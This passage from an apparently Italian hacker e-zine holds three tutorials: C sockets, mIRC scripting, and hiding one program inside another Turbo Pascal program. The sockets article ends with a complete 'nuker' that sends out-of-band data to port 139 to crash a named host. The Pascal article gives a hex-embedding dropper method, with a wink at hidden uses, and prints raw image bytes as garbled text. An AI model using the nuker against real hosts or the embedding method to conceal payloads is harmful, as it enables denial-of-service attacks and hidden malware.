....indovinate un po'.... esatto, l'indirizzo del server.

Internet usa valori ordinati nel modo inverso a quello dei processori intel,
(i cosiddetti host byte order e network byte order) quindi per inserire un
valore in sin_port o sin_addr dovremo prima convertirlo, e possiamo farlo con
queste funzioni :

unsigned long int htonl(unsigned long int hostlong);

unsigned short int htons(unsigned short int hostshort);

unsigned long int ntohl(unsigned long int netlong);

unsigned short int ntohs(unsigned short int netshort);


il cui significato mi sembra abbastanza ovvio (se non dovesse esserlo vi
bastera' scrivere "man htonl" per avere una descrizione piu' dettagliata)

In sin_addr non va inserito ovviamente l'indirizzo alfanumerico, ma l'ip
numerico.
Per trovare l'ip numerico di uno alfanumerico usiamo la funzione :


struct hostent *gethostbyname(char *name);


name e' la stringa che rappresenta l'indirizzo alfanumerico.
La funzione restituisce un puntatore a una struttura hostent.
L'ip che ci interessa e' contenuto nella struttura puntata dal valore
di ritorno di gethostbyname, nel campo char *h_addr.

Una volta che abbiamo creato il socket dobbiamo connetterlo, e lo possiamo
fare con la funzione :


int connect(int sockfd, struct sockaddr *serv_addr, int addrlen );


sockfd e' il descriptor del socket (valore di ritorno della funzione socket)
serv_addr e' la struttura sockaddr che contiene l'indirizzo e la porta,
addrlen e' la dimensione di serv_addr

Il valore di ritorno e' 0 in caso di successo.

Per scrivere ad un socket (spedire dati quindi) si puo' usare la funzione
write :

int write (int sockfd, char *buffer, int buflen);

sockfd e' il descriptor del socket
buffer punta al primo carattere della stringa da inviare
buflen e' il numero di bytes da scrivere.

Per leggere invece (ricevere dati quindi) si usa la stessa sintassi, ma con
la funzione read ( int read (int sockfd, char *buffer, int buflen); ), solo
che stavolta buffer punta al primo byte della memoria dove si vogliono
salvare i dati letti, e buflen sono i caratteri da leggere.

Queste due funzioni si basavano sul fatto che il socket e' rappresentato
fondalmente come un intero, quindi possiamo usare il suo descriptor come se
fosse un file. Ci sono pero' due funzioni che fanno la stessa cosa, ma che
sono specifiche per i socket :

int recv(int s, void *buf, int len, unsigned int flags);
int send(int s, const void *msg, int len, unsigned int flags);


vabbe' s e' il descriptor, ecc. ecc.
I flag li potete settare a zero oppure potete usare le seguenti costanti :

MSG_OOB (out of band)
MSG_DONTROUTE


Alla fine quando dobbiamo chiudere il socket usiamo

shutdown(int socket, int mode);

dove mode e' un valore da 0 a 2 (0 chiude le operazioni di scrittura ma
continua a ricevere, 1 continua solo a trasmettere, 2 viene chiuso del tutto)

E poi per liberare le risorse utilizzate dal socket: closesocket (int socket);


E adesso che vi sarete rotti il cazzo finalmente un esempio!
Un semplice nuker.

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#define porta 139 // La classica vittima del nuke

main(int argc, char *argv[]){

char *stringa = "sAmPEi";
struct sockaddr_in indirizzo;
struct hostent *hp;
int socchett;

socchett = socket (PF_INET, SOCK_STREAM, 0); // Crea il socket

hp = gethostbyname(argv[1]); // Trova l'ip numerico

bzero((char *)&indirizzo,sizeof(indirizzo));// Riempie di 0 la strutt.

bcopy(hp->h_addr, (char *)&indirizzo.sin_addr, hp->h_length);
// Il segno -> indica il membro della struttura puntata. Ad esempio
// se ho una struttura di nome computer,con un campo chiamato CPU,
// e un puntatore alla struttura (*computer) chiamato computerp, e'
// la stessa cosa fare "computer.CPU = 486" o "computerp->CPU = 486"

indirizzo.sin_family = AF_INET;
indirizzo.sin_port = htons(porta);

connect(socchett,(struct sockaddr *)&indirizzo,sizeof(indirizzo));
// Dato che abbiamo riempito una struttura di tipo sockaddr_in ma
// connect richiede una di tipo sockaddr, allora utilizziamo un cast

send (socchett, stringa, strlen(stringa), MSG_OOB);
// Mandiamo una stringa out of band sulla 139 per nukkare

close(socchett);


}


Il programma prende l'indirizzo alfanumerico passatogli sulla riga di comando
trova l'ip numerico e invia una stringa OOB sulla 139.

Ok, il discorso sui socket e' lungo, lo finisco la prossima volta.
Cya

ElectroRipper

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ MIRC SCRIPTING TUTORIAL ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

<-<-[ mIRC scripting tutorial ]->->

Bene ragazzi, sotto incitazione di N0bodY88, sar• io che da adesso in poi
curer• una sezione che spero diventer… una delle pi— seguite in assoluto:
come farvi i vostri script per mIRC! Molti appena mi sentono parlare in
"codice", ossia quando parlo di $addtok, /dialog o altre skeefezze, vengono
in query e puntualmente mi chiedono: "Ohhhhhh ma sai scriptare" "Emb‚?"
"Ma sarai bravissimoooooo!"...muaH, tutte stronzate. Salvo rarissime cose
fare uno script decente per chattare Š sempre facilissimo. Infatti il mIRC
scripting non Š altro che una versione ridotta ai minimi termini di un
linguaggio di programmazione. Questo linguaggio deriva un po' da tutto:
dal C, dal Basic, dal Pascal ecc. Prima di iniziare con i fondamenti per•
dovete avere ben chiaro in mente il concetto di script. Uno script Š un
SOTTOPROGRAMMA del mIRC e niente di pi—. Non pu• andare di molto oltre i
limiti del mIRC, tranne che con parecchie ore di programmazione dedicate
a creare funzioni fuori dal comune. Una buona soluzione, ma solo se siete
bravi con un linguaggio di programmazione visuale (magari non VB ok? meglio
Visual C++ o Delphi), Š quella di crearvi il VOSTRO client IRC, con le
funzioni che volete, tutte incluse senza i limiti dello scripting.
A proposito di limiti dello scripting, non credete di poter fare chiss…
quali prodigi, infatti i limiti ci sono eccome! Potrete limitarvi ad un solo
men— aggiunto sulla menubar, per creare molte cose belle Š necessaria una
quantit… sproporzionata di codice e spesso ci si riduce ad includere nel
proprio script molti file per renderlo pi— appetibile. Il problema Š
che questi file rallentano l'esecuzione del mIRC, visto che il programma
se li carica singolarmente all'avvio (caso di questa "pesantezza" generale
Š il Bisnuke 3.0 Gold, veramente immane: immagini di sfondo, suoni, oltre
50 file di script da caricare, tutto per una misera interfaccia grafica,
pergiunta neanche dell'autore, visto che Š un addon). Perci• ripeto: niente
miracoli! Passiamo adesso ad esaminare i fondamenti dello scripting.
Un file di script pu• essere di due tipi diversi: un file .INI o un file
di una qualunque altra estensione, purch‚ fatto in testo ASCII. Io consiglio
sempre il secondo metodo, meglio se l'estensione del file Š .MRC. Comunque
la scelta sta a voi. Ricordate per• che un file INI Š poco leggibile dall'
esterno (ossia usando programmi come notepad) perch‚ il mIRC li salva in un
formato particolare, che premette una nX= ad ogni riga (la X sta per un
numero, che parte da 0 e cresce man mano). Allora, ogni script che si
rispetti si compone di tre parti fondamentali: gli ALIAS, i REMOTE e i
POPUPS.
-----------------------------------ALIAS--------------------------------------
ALIAS: un alias Š un comando che produce una serie di operazioni in sequenza,
per esempio possiamo creare un alias che dica sul canale in cui siamo "Ciao"
ma possiamo anche creare un alias che ci faccia joinare sui nostri canali
preferiti, ci autentichi sui bot e saluti tutti. Un portento!
Gli alias sono nella forma:
<nome dell'alias> {
comando1
...
comandoN
}
Esempio:
ciao {
join #newbies
me saluta tutti
topic ecco il mio alias in funzione
}
Questo alias entra nel canale #newbies, saluta tutti con un /me (azione),
e cambia il topic in "ecco il mio alias in funzione".
Come spero vi siate accorti i comandi da usare in un alias sono gli stessi
che usate normalmente nel mIRC, come /me, /topic, ecc. Le uniche eccezioni
sono che potete scrivere in un alias i comandi senza "/", che per dire
qualcosa in un canale dovete usare "say <testo>" e che vi Š permesso usare
i cosiddetti "Identifiers" che per• vi spiegher• in un'altra lezione.
Gli alias sono chiamati dalla riga di comando come i normali comandi del
mIRC, ossia premettendo un "/" (segno che per• pu• essere cambiato dalle
opzioni, eventualmente mettete quello che avete scelto). Nel nostro
esempio il comando verr… chiamato digitando "/ciao"
-----------------------------------REMOTE-------------------------------------
REMOTE: i remote sono le cose pi— importanti. Infatti sono delle righe di
codice che hanno la capacit… di rispondere a dei determinati eventi. Per
esempio, possiamo fare un remoto che al testo "Pizza Script" kickbanna per
30 secondi quello che ha pronunciato il nome dello script pi— lamer in
assoluto. Si dice evento generante l'evento che mette "in moto" il vostro
remoto. Questi remoti sono in questa forma:
on <livello>:<evento>:<testo (non sempre presente)>:<luogo (non sempre presente)>: {
comando1
...
comandoN
}
Allora, il livello Š un particolare numero associato ad alcuni tipi di utente.
Non so se avete presente degli script dove c'Š la friend e la enemy list.
In pratica l'essere friend o enemy dipende dal numero che vi Š stato
assegnato, ossia il vostro livello. Se per esempio la enemy list ha come
livello di default 3, potrebbe esserci un evento on 3:TEXT che appena un
enemy parla, esegue le azioni che avete specificato. Il livello base di un
utente Š 1, ma potete cambiarlo a vostro piacimento dall'editor di script
incluso nel mIRC. L'evento serve a dire quando deve scattare il nostro
remoto. TEXT indica alla ricezione di testo, ACTION alla ricezione di un
azione, KICK appena viene fatto un kick e cos via. Chiss… che non appena
saremo un pochino pi— esperti non vi faccia pubblicare una bella listona
con il funzionamento di tutti gli eventi!
Il testo e il luogo sono due parametri non sempre presenti. Infatti il primo
Š presente negli eventi come TEXT, ACTION ecc. e indica se deve essere
presente una certa stringa nel testo che avete ricevuto. Se non avete un
filtro preciso, basta mettere * che vuol dire tutto. Il luogo Š invece
indicativo della finestra in cui ricevete qualcosa.
I simbolini principali sono:
* = tutte le finestre
? = finestra di query
# = per tutte le finestre di canale
#<nome del canale> = per quel canale in particolare
Subito dopo il luogo, vengono i comandi. Questi sono dati come in un alias,
ossia senza "/" ecc. Ricordate che non Š sbagliato mettere "/", ma in un
grosso script tanti / potrebbero contribuire a fare + grande il codice, e
inoltre (almeno secondo me) creano molta confusione.
-----------------------------------POPUPS-------------------------------------
I popups sono la parte meno importante di uno script, ma dei popup ben fatti
contribuiscono a creare una senzazione di "bellezza" generale. Infatti i
popups sono appunto i men— popup, quelli attivabili col tasto destro.
Ma procediamo per ordine. I popup sono di 6 tipi:
MENUBAR: La sezione Menubar dei popup crea un men— sulla Menubar, tra il
men— DCC e il men— Window
STATUS: La sezione status crea un men— richiamabile premendo col tasto destro
sulla finestra di status
CHANNEL: La sezione channel crea un men— richiamabile col tasto destro sulla
finestra di un canale
QUERY/CHAT: La sezione Query/Chat crea il men— per le finestre di query e per
le DCC chat
NICKNAME LIST: La sezione nickname crea il solito men— che appare cliccando
col tasto destro su un nickname sulla lista dei nick
CUSTOM WINDOWS POPUP: Di questa sezione non molti sanno l'esistenza, ma solo
perch‚ non appare nel mIRC Editor. Ma esiste la possibilit… di creare men—
popup per le Custom Windows, che sono finestre creabili con appositi comandi.
Una piccola parentesi: a partire dal mIRC 5.5 sono state introdotte delle
leggere innovazioni. Infatti adesso se nella finestra di un canale, dove
ricevete il testo, cliccate col tasto destro mentre la freccina Š sopra un
nick apparir… il men— della nicklist.
Forma generale dei popup:
-------------------------
Nome del Men—(questo parametro serve solo nella sezione menubar e indica il
nome del vostro men— sulla menubar)
Elemento del Men—:comando da eseguire quando cliccate
-------------------------

Esiste la possibilit… di creare dei separatori, ossia le linee di separazione
per gli elementi del men—, inserendo al posto dell'elemento del men— un -
Inoltre possiamo creare dei sottomen— usando questo metodo:
-------------------------
Men— Settaggi
.Autojoin
..Attivo:comandi per attivare
..Disattivo:comandi per disattivare
..-
..Lista dei canali:comando per la lista
.Controlli
..Op:cmd dell'op
..Deop:cmd del deop
..Kick
...Kick:cmd del kick
ecc.
In pratica questa cosa far… uscire sul vostro mIRC una cosa + o - cos:

Autojoin > Attivo
Disattivo
Men— Settaggi > -----------------
Lista dei canali
Controlli > Op
Deop
Kick > Kick
eccetera.
Capito?!?!
E per adesso abbiamo finito, come prima lezione abbiamo spiegato per benino
gli elementi basilari. Nel frattempo che aspettate il prossimo numero di
Newbies (non ringrazier• mai abbastanza N0bodY88 per avermi permesso di fare
i miei articoli) vi dico un paio di cosette. Inanzitutto se create uno script
NON mandatemelo. inoltre scaricatevi un paio di script, magari da NonSoloKick
(www.nonsolokick.com, siccome i download sono a password e username, li ho
fatti mettere solo per voi). Eccovi un elenzo di script che potrete fare
vostri:
ZeroTolerance 8.20 (http://ztolerance.cjb.net) <-- CONSIGLIATO!
7thSphere 3.0 (http://www.nonsolokick.com) <-- CONSIGLIATO!
VeNo[M] Script 2.1 (http://www.nonsolokick.com)
TRiBE IRC 9b43 (http://www.tribe.roxx.ircnet.mcmail.com/) <-- CONSIGLIATO!
ShowDowN 9.5 PRO (http://koti.icenet.fi/~julsei/)
Pizza Script 3.0 (http://www.chez.com/pizzairc) <-- SOLO PER LAMER0NI!
Dynamirc 7.0 (http://www.nonsolokick.com)
Pulsar 2.0 (http://www.nonsolokick.com) <-- SOLO PER ME E N0BODY ;D
Bisnuke 4.0 (http://www.nonsolokick.com)
CryogenIrc 4.0 (http://www.nonsolokick.com)

SpYmAsTeR
spymaster99@usa.net

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ NASCONDERE UN PROGRAMMA ALL'INTERNO DI UN ALTRO IN PASCAL ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

E' un sistema leggermente laborioso ma semplice una volta che si e' preso il
via. ;-)

Il turbo pascal 7 e' uno dei migliori compilatori che si possono trovare in
giro per quanto riguarda la programmazione sotto dos. Se il c e' sicuramente
piu' valido ed efficace sia per quanto riguarda la velocita', la flessibilita'
nello scrivere i sorgenti e tante altre cose, il tp offre un compilatore
ridotto ai minimi termini ( per compilare un programma e farne un eseguibile
sono sufficienti per la maggior parte delle applicazioni i files:
TPC.exe (54k compattati con wwp) e Turbo.tpl (48k) )
..in piu' normalmente compila creando eseguibili piu' corti rispetto al c.
Tutto questo fa del tp uno dei programmi piu' usati in assoluto ( dopo il C++
della Borland ..che sinceramente anch'io preferisco. ;-) hi hi)

..in relazione a questa cosa mi e' stato fatto notare, a seguito dello scorso
articolo sulla possibilita' di nascondere un programma all'interno di un
sorgente in VB, che in pascal non sarebbe possibile farlo perche' il
compilatore tp non lavora con sorgenti piu' lunghi di 6xKb.
E in effetti e' vero.. ma a questo mondo si puo' fare tutto quando ci si mette
di sbuzzo buono. :))

Il trucco sta nel costruirsi delle unit (in c sarebbe molto piu' semplice)
contenenti solo una parte del programma da riassemblare.
Ogni parte ovviamente sara composta da tante linee di sorgente fino a
non-occupare il compilatore per dimensioni maggiori del suo massimo
lavorativo..quindi riassemblare il tutto.

la procedura a blocchi e' questa:

Premesse : file_da_inglobare
Programma_contenitore

azioni: file_da_inglobare -> file_convertito_in_esadecimale
|
file suddiviso in Nx parti di xKb
|
creazione di Nx UNIT
|
aggiunta al programma_contenitore delle unit
|
aggiunta al programma pincipale di una procedura
di ricompattazione delle unit.

Si procede cosi'.

Per prima cosa si deve convertire il programma da inglobare in maniera tale da
avere lo stesso in formato esadecimale inglobato in una o piu' variabili da
poter poi riutilizzare con una procedura esterna.

Perche' esadecimale? .. perche' la rappresentazione ascii (che sarebbe la
migliore in quanto rappresenta un byte con un solo byte appunto! :) ) e'
inutilizzabile all'interno di un sorgente ..tp infatti l'editor usa alcuni
caratteri ascii come comandi e quindi non verrebbero rappresentati nella
maniera corretta.
La rappresentazione decimale richiede 3 byte per byte .. infatti il carattere
'd' tanto per fare un esempio dovrebbe essere rappresentato col suo
equivalente ascii e cioe' 100.
La rappresentazione esadecimale 00-ff e' quindi la strada ottimale da
percorrere.
I file saranno mediamenti piu' lunghi del 60/70 % .. ma poco importa visti
i vantaggi.

Si divide quindi file cosi' convertito in linee secondo questo formato

a:=' .... primi 40 byte della rappresentazione esadecimale del file .....';p;
a:=' .. successivi 40 byte della rappresentazione esadecimale del file ..';p;
...
...
ecc.. ecc...

"a" e' una variabile stringa, "p" e' una procedura che prelevera' dalla stringa
"a" i dati due alla volta per riscriverli con append sull'hd ricreando il file
primario.

la variabile "a" e la procedura "p" dovranno essere definite all'interno delle
varie unit.

ad ogni riga viene eseguita la procedura "p" per la crezione a blocchi di 40
byte del file originale.. quindi secondo come struttureremo la procedura "p"
stessa (e le unit) sara' possibile mettere solo un certo numero di linee
(come sopra) in una unit specifica e le altre restanti in altre unit diverse.

.. come prima cosa serve un programma che converta un file binario nella sua
rappresentazione esadecimale e lo converta nel formato a:' .. 40Hex ..';p


questo e' lo script in pascal
------------------------------------------ CONVERTI.PAS
program converti;
uses strings,crt;
function hex(l : longint) : string;
const hc : array[0..15] of char =
('0','1','2','3','4','5','6','7',
'8','9','a','b','c','d','e','f');
begin
hex:=hc[(l and $f0) shr 4]+hc[(l and $0f)]
end;
var k:integer;
o:char;
n:string;
h,l,t:integer;
fp1,fp2:text;
g: file of byte;
begin
k:=0;
l:=0;

n:='spp3.3ds'; { NOME DEL FILE DA CONVERTIRE }

assign(g,n);reset(g);t:=filesize(g);close(g);
assign(fp1,n);
reset(fp1);
assign(fp2,'testo.txt');
rewrite(fp2);
write(fp2,'a:=',chr(39));
while l<t do
begin
l:=l+1;
read(fp1,o);
h:=ord(o);
k:=k+1;
write(fp2,hex(h));
if k>39 then
begin
write(fp2,chr(39),';p;',chr(13),chr(10),'a:=',chr(39));
k:=0;
end;
end;
write(fp2,chr(39),';p;',chr(13),chr(10));
close(fp2);
close(fp1);
end.
-------------------------------------------------------------

per chi volesse, per confronto, anche la stessa procedura in C..

------------------------------------------ CONVERTI.C
#include <stdio.h>
main(){
FILE *fp1,*fp2;
unsigned char h;
int k=0;
char *file,*t="";

file="spp3.3ds"; /* NOME DEL FILE DA CONVERTIRE */

fp1=fopen(file,"rb");
fp2=fopen("testo.txt","wb");
fprintf(fp2,"a:='");
while(!feof(fp1)){
h=fgetc(fp1);k++;
if(h<16) fprintf(fp2,"0%x",h);
if(h>=16) fprintf(fp2,"%x",h);
if(k>39){
fprintf(fp2,"';p;%c%ca:='",13,10);
k=0;}}
fprintf(fp2,"';p;%c%c",13,10);
fclose(fp2);
fclose(fp1);
}
-------------------------------------------------------------

lo script produce come output un file con le specifiche sopra riportate.

ad esempio il file binario

-----------------------------------------------------------------LOGO.JPG
ÿØÿà JFIF    ÿÛ C  

 $.
' ",#(7),01444'9=82<.342ÿÛ C 

2!!222222
22222222222222222222222222222222222222222222ÿÀ /Ô" ÿÄ  
 
ÿÄ µ  } !1AQa"q2‘¡#B
±ÁRÑð$3br‚
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ
‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×ØÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ 
 
ÿÄ µ  w !1AQaq"
2B‘¡±Á #3RðbrÑ
$4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstu
vwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×ØÙÚâãäåæçèéêòóôõö
÷øùúÿÚ   ? ËÔ¿h?Y귖±éú)HfxÔ´2ä€Ä þóÚªÿ ÃFx¿þÚýø—ÿ ŽÖøÃòiÚö¿®
ͨ©ƒZ6©
™Aæ†ÞÄeÚ~RsÈãç “ÀÚv«wá§ðì÷ki®Nöû/¶´¶ï(rJà2áà `ðE-E©¾Ÿ´GŒ_ŸìÝ
úá/ÿ «~Ð0“þaÚ'×ȗÿ ŽV.Ÿá¿ësÜiºCëk~°M%´÷-†fðT(*)îqï[º ðœ~𰺵Ö]E¬
þHŠâ%#÷Ï»q(‹8ÇAŽ¦˜É£øïâæë§è¿÷æ_þ9VGÇ?ùqÒ?ïÌ¿ür³ôïé’xÿ RÑïnîJ´E•nÑ\¤
Œ’A_ùh¤ð8§JǃÃtíaîZEºµ½ŠÂÝ~ê¼Ì͸0#<*8äŠBlê×ã‰Û?èZ8ÿ ¶Rñʐ|mñ!8û“ÿ
~¤ÿ 㕍ýƒá!â1á£>°Ú‡Ú‘»VŒCççnvmÝ·{8æ¡MÃúg‡mu
rMMžÜAfѨÌdۙN#Žù¦†
Ÿs¬o‹^,]5Ca¤}™îÜ.Lï
ñ¿¦UOø]ž$ÿ Ÿ+þýIÿ ÅÕ8ü>ú§…-tý"u–Ùõi&ûL¬Á¶‰É•‡
¨$7ûJEq:³éÉ©Í“$òÙ! “à3àrØ `œ¸Æhпáuø“þ|´¯ûõ'ÿ ¦ÿ Âíñüùi_÷êOþ9^bҜ
t®žÏMÑ-<5i«kCR˜ÞÍ,p¥“"íÉbÀäÃ c¡¢áttñÃĀñc¤ÿ ß©?øåüoñ4’¤cє³ËG >§Ì
àW7o¢h–«+ØßÝÿ dÛiæúèH€ÏS´Ä8
ÌI\7O›ØÓ[LðÎ¥l²éw7ÖÒ¥Ô0½½ì±³Ê’ FT»Žx=E!=
×ÆßÚÝM´Ñ$1;!x’GFÁÆT‰0G¡ª¯ñãÅ ñc£ߙøåbËá­#Oº×îu9¯Ž™§j&ÂíÊy³>çÆXŒ.2NÞ
ecc.. ecc...
-------------------------------------------------------------------------

viene convertito cosi':

-------------------------------------------------------------TESTO.TXT
a:='ffd8ffe000104a46494600010100000100010000ffdb004300080606070605080707070909080a0c';p;
a:='140d0c0b0b0c1912130f141d1a1f1e1d1a1c1c20242e2720222c231c1c2837292c30313434341f27';p;
a:='393d38323c2e333432ffdb0043010909090c0b0c180d0d1832211c21323232323232323232323232';p;
a:='3232323232323232323232323232323232323232323232323232323232323232323232323232ffc0';p;
a:='001108012f02d403012200021101031101ffc4001f00000105010101010101000000000000000001';p;
a:='02030405060708090a0bffc400b5100002010303020403050504040000017d010203000411051221';p;
a:='31410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a2526272829';p;
a:='2a3435363738393a434445464748494a535455565758595a636465666768696a737475767778797a';p;
a:='838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6';p;
a:='c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9faffc4001f010003';p;
a:='0101010101010101010000000000000102030405060708090a0bffc400b511000201020404030407';p;
a:='05040400010277000102031104052131061241510761711322328108144291a1b1c109233352f015';p;
a:='6272d10a162434e125f11718191a262728292a35363738393a434445464748494a53545556575859';p;
a:='5a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4a5a6';p;
a:='a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8e9ea';p;
a:='f2f3f4f5f6f7f8f9faffda000c03010002110311003f00cbd4bf683f1659eab796b1e9fa29486678';p;

ecc... ecc...
-------------------------------------------------------------------------

per poter ricostruire il file in TP sarebe sufficiente estrapolare i dati
esadecimali da ogni singola riga (tramite la produra P) e ricreare il file
col proprio nome.
Purtroppo spesso e volentieri il numero di righe formattate relative a uno o
piu' programmi da includere necessari ai nostri scopi supera abbondantemente
i limiti del compilatore tpc .. da qui l'esigenza delle unit.

cominciamo con le facili procedure necessarie all'estrazione dei dati.

Serve innanzitutto una funzione che separi dalla stringa -a- i dati due a due.
Sarebbe comoda una cosa tipo il mid$ del basic.. come questa:

var a : string;
S : array[0..10] of char;

function mid(t:string;n,l:integer):string;
var i: integer;
begin
for i:=n to n+l-1 do s[i-n]:=t[i];
mid:=strpas(s);
end;

Poi una procedura per convertire i dati della ministringa esadecimale di 2
caratteri estratta in un intero decimale

function deci(t:string):integer;
var ix,rx,ox,px:integer;
begin
ox:=0;
for ix:=2 downto 1 do begin
case t[ix] of
'a'..'f':rx:=ord(t[ix])-ord('a')+10;
'A'..'F':rx:=ord(t[ix])-ord('A')+10;
'0'..'9':rx:=ord(t[ix])-ord('0');
end;
if ix=1 then begin ox:=ox+rx*16 end
else begin ox:=ox+rx end;
end;
deci:=ox;
end;

Quindi la procedura p (attaccata in fondo ad ogni stringa formattata) che
scriva nel file i caratteri rigenerati.

procedure p;
var i,fru:integer;
begin
i:=round(length(a)/2);
for fru:=1 to i do
Write(fruttolo,chr(deci(mid(a,1+(fru-1)*2,2))));
end;

.. "fruttolo" e' l'assegnazione della variabile di tipo file:text relativa al
file che stiamo ricreando e che andra' aperto a inzio procedura generale nella
unit.

a questo punto siamo in grado di strutturare un completo modulo generale per
la nostra (o le nostre unit)

--------------------------------------------------------- MODULO.pas
{$A+,B-,D+,E+,F-,G+,I-,L+,N+,O-,P+,Q-,R-,S-,T-,V-,X+,Y+}
{$M 16384,0,655360}

UNIT unop;

INTERFACE

uses Strings,crt;
var a : string;
S : array[0..10] of char;
fruttolo : Text;

PROCEDURE uno;

IMPLEMENTATION

function deci(t:string):integer;
var ix,rx,ox,px:integer;
begin
ox:=0;
for ix:=2 downto 1 do begin
case t[ix] of
'a'..'f':rx:=ord(t[ix])-ord('a')+10;
'A'..'F':rx:=ord(t[ix])-ord('A')+10;
'0'..'9':rx:=ord(t[ix])-ord('0');
end;
if ix=1 then begin ox:=ox+rx*16 end
else begin ox:=ox+rx end;
end;
deci:=ox;
end;

function mid(t:string;n,l:integer):string;
var i: integer;
begin
for i:=n to n+l-1 do s[i-n]:=t[i];
mid:=strpas(s);
end;

procedure p;
var i,fru:integer;
begin
i:=round(length(a)/2);
for fru:=1 to i do
Write(fruttolo,chr(deci(mid(a,1+(fru-1)*2,2))));
end;

procedure uno;
begin
Assign(fruttolo, 'passa');
Append(fruttolo);

{ ... }
{ qui va la fila di a:=' ....... 40 byte ....... ';p; }
{ a:=' ... altri 40 byte .... ';p; }

{ ... }

close(fruttolo);
end;
begin
end.

----------------------------------------------------------------------------

nella procedura uno (come dichiarato sopra ) andranno inserite le linee
generate dallo script converti.pas (file testo.txt)

si potranno inserire circa 800 righe di 40 bytes per un totale di circa
32.000 byte del programma originale.

Se il programma originale sara' di dimensioni >= 32K bastera' una sola unit
altrimenti per un programma di 80K ne serviranno 3 ..e cosi' via.

Come metodo generale per la creazione delle unit successive io sempre il
modulo sopra .. cambiando tutto gli 'uno' in 'due' per la seconda unit, 'uno'
in 'tre' per la terza ..a seguire.

Nel programma generale poi sara' sufficiente dichiarare le varie unit
consecutivamente

USES unop,duep,trep,quap, ... xxxp

quindi richamare per la ricostruzione completa del file le varie procedure
dichiarate

uno;due;tre;qua; ... xxx:

..un esempio di file che ricompatta due unit create col metodo sopra riportato:

------------------------------------------------------------------
{$A+,B-,D+,E+,F-,G+,I-,L+,N+,O-,P+,Q-,R-,S-,T-,V-,X+,Y+}
{$M 16384,0,655360}

uses unop,duep;

var f:text;
begin

assign(f,'miofile.bin');
rewrite(f);
close(f);

uno;
due;

end.

---------------------------------------------------------------------

le righe

assign(f,'miofile.bin');
rewrite(f);
close(f);

sono necessarie in quanto l'append usato nelle unit se trovasse gia presente
sull'hd un file chiamato come il nostro file da rigenerare non ricreerebbe ex
novo quest'ultimo ma lo AGGIUNGEREBBE brutalmente a quello trovato.
Con rewrite abbiamo la certezza che il nostro file venga ricreato in maniera
corretta e partendo dalla locazione 0.

.. sarebbe tutto qui in effetti

un vero esempio pratico e funzionante.. una demo grafica (poi ognuno potra'
invece accludere ai propri sorgenti cio' che piu' gli tornera' utile.. io
questo non lo voglio sapere. ) ]:-)

E' un programma che ho trovato in giro che ruota sullo schermo oggetti creati
col 3d studio .. l'unica cosa e' che una demo classica di solito prevede un
solo file exe...

allora ho unito il file spp3.3ds al sorgente col sistema citato sopra.

Addirittura ho usato 3 unit diverse (ne sarebbe bastata una sola) .. ma lo
scopo era appunto quello di mostrare un caso non proprio banale.

Sia i sorgenti del file Sppdemo che tutti gli altri ..compresi
il file spp3.3ds 30k
